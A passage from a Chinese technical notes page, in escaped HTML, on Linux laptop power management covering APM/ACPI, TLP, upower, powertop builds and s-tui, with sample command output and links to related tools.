&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Witko&#x2F;nvidia-xrun&quot;&gt;nvidia-xrun&lt;&#x2F;a&gt;  启动后使用核显，默认不加载NVIDIA驱动。需要时使用&lt;code&gt;nvidia-xrun &amp;lt;application&amp;gt;&lt;&#x2F;code&gt;启动程序。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Askannz&#x2F;optimus-manager&quot;&gt;optimus-manager&lt;&#x2F;a&gt;
图形前端：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Shatur95&#x2F;optimus-manager-qt&quot;&gt;optimus-manager-qt&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;inzar98&#x2F;optimus-manager-argos&quot;&gt;optimus-manager-argos&lt;&#x2F;a&gt;（GNOME shell扩展）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;linuxbi-ji-ben-dian-chi-guan-li-linuxxi-tong-bi-ji-ben-dian-yuan-guan-li-fang-fa-shi-yong-zhi-nan&quot;&gt;linux笔记本电池管理,Linux系统笔记本电源管理方法实用指南&lt;&#x2F;h2&gt;
&lt;p&gt;Linux是一种性能优越的开源操作系统，随着其性能和知名度越来越高，最主要的是在价格上无与伦比的优势，许多厂家开始推出Linux笔记本电脑，并且这种趋势大有愈演愈烈之势。我们知道，笔记本受到电池续航时间的限制，所以特别注重机器的电源管理。因此，本文将讨论如何处理这些事项。&lt;&#x2F;p&gt;
&lt;p&gt;一、概述&lt;&#x2F;p&gt;
&lt;p&gt;实际上，除了利用主板上的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=BIOS&amp;amp;spm=1001.2101.3001.7020&quot;&gt;BIOS&lt;&#x2F;a&gt;来管理电源外，大多数Linux系统本身都自带了管理电源的实用工具软件，来处理各种电源事件，如：&lt;&#x2F;p&gt;
&lt;p&gt;1.电池电量不足--这时机器会发出警告，并显示相应图标，或者将硬件挂起。&lt;&#x2F;p&gt;
&lt;p&gt;2.闲置--如果在一段时间内机器一直处于非活动状态，那么可以让机器休眠(如关闭硬盘以及停用音频及网络等服务)从而有效延长电池供电时间。&lt;&#x2F;p&gt;
&lt;p&gt;通过检测你的笔记本使用的是交流电源还是电池，可以让机器进入相应的电源管理模式。在Fedora中，用于管理和检修电源问题的工具有：&lt;&#x2F;p&gt;
&lt;p&gt;1.高级电源管理(APM)--APM软件组成如下：一个pmd守护进程，用来监视电池的使用情况；多个实用工具软件，用来显示和响应电池事件。它们包含于apmd软件包中。&lt;&#x2F;p&gt;
&lt;p&gt;2.高级配置和电源接口(ACPI)--acpid事件守护进程一方面监视电源事件，另一方面用来设置响应这些事件的规则，这些规则用来关闭某些硬件或关掉系统电源等。ACPI是一款设计用来替代APM电源管理的更具通用性的工具软件，但是目前它还需进一步完善。&lt;&#x2F;p&gt;
&lt;p&gt;3.hdparm命令--hdparm命令可用于打开和关闭电源管理功能。另外，该命令还有许多选项，完成诸如停止硬盘启动器转动或让硬盘进入待机状态等操作。&lt;&#x2F;p&gt;
&lt;p&gt;需要说明的是，使用ACPI时，是操作系统在负责电源管理，而不是BIOS。尽管ACPI在管理电源问题方面功能更强也更灵活，但是，普通用户用起来却不是那么方便，如使用ACPI时，你必须亲自告诉它要关注哪些电源事件以及如何响应这些事件。目前，对一般用户而言，APM的功能不但丰富，并且对用户也更加友好。&lt;&#x2F;p&gt;
&lt;p&gt;下边我们将针对以上三种常见的电源管理工具分别加以讨论。&lt;&#x2F;p&gt;
&lt;p&gt;二、用APM管理电源&lt;&#x2F;p&gt;
&lt;p&gt;在Fedora中，可以配置APM，让其检测某些电源事件并做出响应。这时，它运行守护进程&#x2F;usr&#x2F;sbin&#x2F;apmd来侦听事件，然后根据配置文件&#x2F;etc&#x2F;sysconfig&#x2F;apmd 中的有关规定来处理这些事件。要配置运行APM，输入下列命令：&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chkconfig-apmd-on&quot;&gt;chkconfig apmd on&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;service-apmd-restart&quot;&gt;service apmd restart&lt;&#x2F;h2&gt;
&lt;p&gt;注意:apmd和acpid不能同时使用，所以，如果此前系统正在使用acpid的话，应该先停用它，具体命令如下：&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chkconfig-acpid-off&quot;&gt;chkconfig acpid off&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;service-acpid-stop&quot;&gt;service acpid stop&lt;&#x2F;h2&gt;
&lt;p&gt;APM成功启动后，在文件&#x2F;var&#x2F;log&#x2F;messages中应该看到一则消息，指出该服务已启动，并列出当前电池的电量状况。默认时，pmd守护进程根据文件&#x2F;etc&#x2F;sysconfig&#x2F;apmd 中的设置运行。我们可以列出当前运行的进程来查看运行中的apmd的使用了哪些选项：&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ps-ax-grep-apmd&quot;&gt;ps ax |　grep apmd&lt;&#x2F;h2&gt;
&lt;p&gt;&#x2F;usr&#x2F;sbin&#x2F;apmd -p 10 -w 5 -W -P &#x2F;etc&#x2F;sysconfig&#x2F;apm-scripts&#x2F;apmscript&lt;&#x2F;p&gt;
&lt;p&gt;根据以上命令中列出的选项，apmd守护进程将会：&lt;&#x2F;p&gt;
&lt;p&gt;1.记录电池电量的变化--如果电量变化超过10%或更多，守护进程将向系统日志文件(默认时为&#x2F;var&#x2F;log&#x2F;messages)发出一条消息。这一行为是由选项&quot;-p 10&quot;指定的。&lt;&#x2F;p&gt;
&lt;p&gt;2.记录电池电量不足--当电池电量低于5%并且仍未充电时，一条警告消息将发送到系统日志文件中。这一行为是由选项&quot;-w 5&quot;指定的。&lt;&#x2F;p&gt;
&lt;p&gt;3.提醒用户--如果电池电量低于&quot;-w&quot;选项所设定的值，将向所有登录系统的用户发送警报。此行为是由选项&quot;-W&quot;指定的。&lt;&#x2F;p&gt;
&lt;p&gt;4.利用apmscript响应事件--出现电源事件时，apmd将这些事件转给设定用于响应这些事件的脚本。根据上面的命令，运行的脚本应该是&#x2F;etc&#x2F;sysconfig&#x2F;apm-scripts&#x2F;apmscript。所用的文件取决于选项&quot;- P&quot;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;linuxxi-tong-dian-yuan-guan-li-zhi-chang-yong-gong-ju-upower&quot;&gt;linux系统电源管理之常用工具_upower&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;目录&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;proware&#x2F;article&#x2F;details&#x2F;116419409#t0&quot;&gt;综述&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;proware&#x2F;article&#x2F;details&#x2F;116419409#t1&quot;&gt;TLP&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;proware&#x2F;article&#x2F;details&#x2F;116419409#t2&quot;&gt;tlp stat&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;proware&#x2F;article&#x2F;details&#x2F;116419409#t3&quot;&gt;采用新版本(V1.3.1)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;proware&#x2F;article&#x2F;details&#x2F;116419409#t4&quot;&gt;upower&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;proware&#x2F;article&#x2F;details&#x2F;116419409#t5&quot;&gt;powertop&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;proware&#x2F;article&#x2F;details&#x2F;116419409#t6&quot;&gt;用新版本工具（V2.14）&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;proware&#x2F;article&#x2F;details&#x2F;116419409#t7&quot;&gt;可调整参数&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;proware&#x2F;article&#x2F;details&#x2F;116419409#t8&quot;&gt;CPU 频率信息&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;proware&#x2F;article&#x2F;details&#x2F;116419409#t9&quot;&gt;CPU IDLE信息&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;proware&#x2F;article&#x2F;details&#x2F;116419409#t10&quot;&gt;s-tui&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;proware&#x2F;article&#x2F;details&#x2F;116419409#t11&quot;&gt;采用新版本（V1.1.1）&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;proware&#x2F;article&#x2F;details&#x2F;116419409#t12&quot;&gt;Slimbook Battery&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;本系列用于记录linux电源管理一些资料收集及实验过程。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zong-shu&quot;&gt;综述&lt;&#x2F;h3&gt;
&lt;p&gt;TLP 用于调控笔记本各项参数，以达到节约电能的目的。主要注意采用新版本支持新硬件。&lt;&#x2F;p&gt;
&lt;p&gt;powertop 可以监控 系统的进程占用的cpu时间比、CPU的频率变化、idle时cpu的状态、总线及外设电源管理的配置、后台定时线程的唤醒时间等配置。此外可以针对以上信息进行调节。&lt;&#x2F;p&gt;
&lt;p&gt;Stress-Terminal UI, s-tui, monitors CPU temperature, frequency, power and utilization in a graphical way from the terminal.&lt;&#x2F;p&gt;
&lt;p&gt;目前以上几个工具 在CPU方面主要以intel为主，虽然powertop在宣称上支持ARM，但也需要arm厂商实际适配了内核的cpufreq cpuidle的驱动，将相关sys接口暴露出来才可以。&lt;&#x2F;p&gt;
&lt;p&gt;因为以上几个工具在使用时，要针对各个工具的配置项进行确认，最终整理输入一个工具支持的硬件集合列表。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tlp&quot;&gt;TLP&lt;&#x2F;h3&gt;
&lt;p&gt;工具主要依赖shell脚本实现。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;ManWingloeng&#x2F;p&#x2F;12373806.html&quot;&gt;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;ManWingloeng&#x2F;p&#x2F;12373806.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;d4nj1&#x2F;TLPUI&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;d4nj1&#x2F;TLPUI&lt;&#x2F;a&gt;  图形调参&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;linrunner&#x2F;TLP&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;linrunner&#x2F;TLP&lt;&#x2F;a&gt; 源码 shell，可以研究设置了哪些。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;linrunner.de&#x2F;tlp&#x2F;introduction&quot;&gt;https:&#x2F;&#x2F;linrunner.de&#x2F;tlp&#x2F;introduction&lt;&#x2F;a&gt;   apt install tlp tlp-rdw&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.2daygeek.com&#x2F;tlp-increase-optimize-linux-laptop-battery-life&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.2daygeek.com&#x2F;tlp-increase-optimize-linux-laptop-battery-life&#x2F;&lt;&#x2F;a&gt;    老外写的分项命令。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;tlp-stat&quot;&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;tlp stat&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;TLP配置&lt;&#x2F;p&gt;
&lt;p&gt;系统信息、启动参数、BIOS版本&lt;&#x2F;p&gt;
&lt;p&gt;CPU型号、CPU调频信息（和笔记本型号、CPU型号强相关）&lt;&#x2F;p&gt;
&lt;p&gt;CPU温度及风扇信息 和笔记本型号、CPU型号强相关)&lt;&#x2F;p&gt;
&lt;p&gt;文件系统 中关于dirty的配置参数信息&lt;&#x2F;p&gt;
&lt;p&gt;磁盘的信息（smart，对于NVME盘的信息不能有效获取）&lt;&#x2F;p&gt;
&lt;p&gt;AHCI 连接电源管理的策略信息（SCSI控制器）&lt;&#x2F;p&gt;
&lt;p&gt;AHCI Host控制器 Runtime 电源管理的策略配置信息&lt;&#x2F;p&gt;
&lt;p&gt;PCIE ASPM配置策略&lt;&#x2F;p&gt;
&lt;p&gt;无线接口（蓝牙、wifi、wwan）开关状态&lt;&#x2F;p&gt;
&lt;p&gt;audio设备电源管理策略&lt;&#x2F;p&gt;
&lt;p&gt;Runtime Power Management(各种外设power的始终开、还是自动调节)&lt;&#x2F;p&gt;
&lt;p&gt;USB设备电源管理&lt;&#x2F;p&gt;
&lt;p&gt;电池状态&lt;&#x2F;p&gt;
&lt;h4 id=&quot;cai-yong-xin-ban-ben-v1-3-1&quot;&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;采用新版本(V1.3.1)&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;make&lt;&#x2F;p&gt;
&lt;p&gt;make install 即可安装新版本&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;&lt;strong&gt;.&#x2F;tlp-stat -s&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;--- &lt;strong&gt;&lt;strong&gt;TLP 1.3.1&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt; --------------------------------------------&lt;&#x2F;p&gt;
&lt;p&gt;+++ System Info&lt;&#x2F;p&gt;
&lt;p&gt;System         = IPASON&lt;&#x2F;p&gt;
&lt;p&gt;BIOS           = 5.1。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;upower&quot;&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;upower&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;strong&gt;upower -d&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Device: &#x2F;org&#x2F;freedesktop&#x2F;UPower&#x2F;devices&#x2F;battery_BAT1&lt;&#x2F;p&gt;
&lt;p&gt;native-path:          BAT1&lt;&#x2F;p&gt;
&lt;p&gt;vendor:               Sunwoda-H&lt;&#x2F;p&gt;
&lt;p&gt;model:                HB4692Z9ECW-41&lt;&#x2F;p&gt;
&lt;p&gt;serial:               44901&lt;&#x2F;p&gt;
&lt;p&gt;power supply:         yes&lt;&#x2F;p&gt;
&lt;p&gt;updated:              2021年04月25日 星期日 11时14分32秒 (69 seconds ago)&lt;&#x2F;p&gt;
&lt;p&gt;has history:          yes&lt;&#x2F;p&gt;
&lt;p&gt;has statistics:       yes&lt;&#x2F;p&gt;
&lt;p&gt;battery&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;present:             yes

rechargeable:        yes

state:               discharging

warning-level:       none

energy:              48.3154 Wh

energy-empty:        0 Wh

energy-full:         56.0012 Wh

energy-full-design:  55.2372 Wh

energy-rate:         9.3208 W

voltage:             16.398 V

time to empty:       5.2 hours

percentage:          86%

capacity:            100%

technology:          lithium-ion

icon-name:          &amp;#x27;battery-full-symbolic&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;History (rate):&lt;&#x2F;p&gt;
&lt;p&gt;1619320472 9.321 discharging&lt;&#x2F;p&gt;
&lt;h3 id=&quot;powertop-1&quot;&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;powertop&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;此是C &#x2F;C++ 代码实现的工具&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;&lt;strong&gt;sudo apt install powertop  (2.8版本&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;strong&gt;2015年)&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;program to analyze power consumption on  &lt;strong&gt;&lt;strong&gt;Intel-based&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;  laptops&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;57365414&quot;&gt;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;57365414&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.w3cschool.cn&#x2F;working_on_gnu_linux&#x2F;working_on_gnu_linux-jugs27nu.html&quot;&gt;https:&#x2F;&#x2F;www.w3cschool.cn&#x2F;working_on_gnu_linux&#x2F;working_on_gnu_linux-jugs27nu.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;&lt;strong&gt;powertop --html=report.html&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.2daygeek.com&#x2F;powertop-monitors-laptop-battery-usage-linux&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.2daygeek.com&#x2F;powertop-monitors-laptop-battery-usage-linux&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;  **** &lt;strong&gt;&lt;strong&gt;老外用的记&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;、&lt;&#x2F;p&gt;
&lt;h4 id=&quot;yong-xin-ban-ben-gong-ju-v2-14&quot;&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;用新版本工具（V2.14）&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;安装包： sudo apt install libnl-genl-3-dev&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在ARM上编译时还安装了如下两个包：&lt;&#x2F;p&gt;
&lt;p&gt;sudo apt install libncurses-dev&lt;&#x2F;p&gt;
&lt;p&gt;sudo apt install g++&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;编译&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;&lt;strong&gt;.&#x2F;autogen.sh&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;&lt;strong&gt;.&#x2F;configure&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;usr&#x2F;bin&#x2F;ld: powertop-main.o: undefined reference to symbol &#x27;pthread_join@@GLIBC_2.2.5&#x27;&lt;&#x2F;p&gt;
&lt;p&gt;&#x2F;usr&#x2F;bin&#x2F;ld: &#x2F;&#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libpthread.so.0: error adding symbols: DSO missing from command line&lt;&#x2F;p&gt;
&lt;p&gt;collect2: error: ld returned 1 exit status&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;修改powertop-2.14&#x2F;src&#x2F;Makefile： 由LDFLAGS = 修改为  LDFLAGS = -lpthread&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;&lt;strong&gt;make&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;src&#x2F;powertop为编译生成的二进制。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;&lt;strong&gt;新版本不止可以看到CPU Freq，其余几个tab的内容也更丰富准确&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ke-diao-zheng-can-shu&quot;&gt;可调整参数&lt;&#x2F;h4&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] PowerTOP Tuning 页待优化项与脚本：vm 回写间隔改 1500（&#x2F;proc&#x2F;sys&#x2F;vm&#x2F;dirty_writeback_centisecs）；SATA 链路电源 min_power；USB 自动挂起 power&#x2F;control 写 auto；关 NMI watchdog；PCI 设备 Runtime PM 写 auto；网卡 ethtool -s enp2s0 wol d。System 389.0 wakeups&#x2F;s。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;cpu-pin-lu-xin-xi&quot;&gt;CPU 频率信息&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E7%AC%94%E8%AE%B0%E6%9C%AC%E7%94%B5%E6%BA%90%E7%AE%A1%E7%90%86%E8%B5%84%E6%96%99%E5%90%88%E9%9B%86&#x2F;assets&#x2F;20210505090548899-20240614003632-3ntepaw-1eb3b9.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;cpu-idlexin-xi&quot;&gt;CPU IDLE信息&lt;&#x2F;h4&gt;
&lt;p&gt;可以看出CPU 处于cX状态的占比。比如用stress -c 2 压测时，可以看到两个cpu 一直处于C0状态。其他C态，是intel cpu分别关闭cpu某些组件的状态描述。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E7%AC%94%E8%AE%B0%E6%9C%AC%E7%94%B5%E6%BA%90%E7%AE%A1%E7%90%86%E8%B5%84%E6%96%99%E5%90%88%E9%9B%86&#x2F;assets&#x2F;20210505090910956-20240614003632-7fdu98k-824d05.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;s-tui&quot;&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;s-tui&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;sudo apt install python-pip stress  (&lt;strong&gt;&lt;strong&gt;为2018年11月 0.8.3版本，最新版本是2021-02 V1.1.1&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.jianshu.com&#x2F;p&#x2F;16925fc6eaa1&quot;&gt;https:&#x2F;&#x2F;www.jianshu.com&#x2F;p&#x2F;16925fc6eaa1&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;实际测试，根据官网 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;amanusk&#x2F;s-tui&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;amanusk&#x2F;s-tui&lt;&#x2F;a&gt;的命令&lt;strong&gt;&lt;strong&gt;sudo apt install s-tui&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;strong&gt;安装后才能正常使用命令s-tui&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The tool was tested to run on&lt;strong&gt;&lt;strong&gt;X86 (Intel&#x2F;AMD)&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;  as well as&lt;strong&gt;&lt;strong&gt;ARM&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt; systems. For example,&lt;strong&gt;&lt;strong&gt;s-tui&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt; can run on Raspberry-pi and other single board PCs&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;&lt;strong&gt;功能：&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;  &lt;strong&gt;&lt;strong&gt;Monitoring your&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;strong&gt;CPU&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;strong&gt;temperature&#x2F;utilization&#x2F;frequency&#x2F;power&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;cai-yong-xin-ban-ben-v1-1-1&quot;&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;采用新版本（V1.1.1）&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;pip install urwid&lt;&#x2F;p&gt;
&lt;p&gt;s-tui-1.1.1$ python -m s_tui.s_tui&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E7%AC%94%E8%AE%B0%E6%9C%AC%E7%94%B5%E6%BA%90%E7%AE%A1%E7%90%86%E8%B5%84%E6%96%99%E5%90%88%E9%9B%86&#x2F;assets&#x2F;20210505091104404-20240614003632-85b5by0-ce5fc7.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;linux-%E7%AC%94%E8%AE%B0%E6%9C%AC%E7%94%B5%E6%BA%90%E7%AE%A1%E7%90%86%E8%B5%84%E6%96%99%E5%90%88%E9%9B%86&#x2F;assets&#x2F;20210505091128195-20240614003632-hphwre9-6577b6.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;slimbook-battery&quot;&gt;&lt;strong&gt;&lt;strong&gt;&lt;strong&gt;Slimbook Battery&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;launchpad.net&#x2F;~slimbook&#x2F;+archive&#x2F;ubuntu&#x2F;slimbook&quot;&gt;https:&#x2F;&#x2F;launchpad.net&#x2F;~slimbook&#x2F;+archive&#x2F;ubuntu&#x2F;slimbook&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
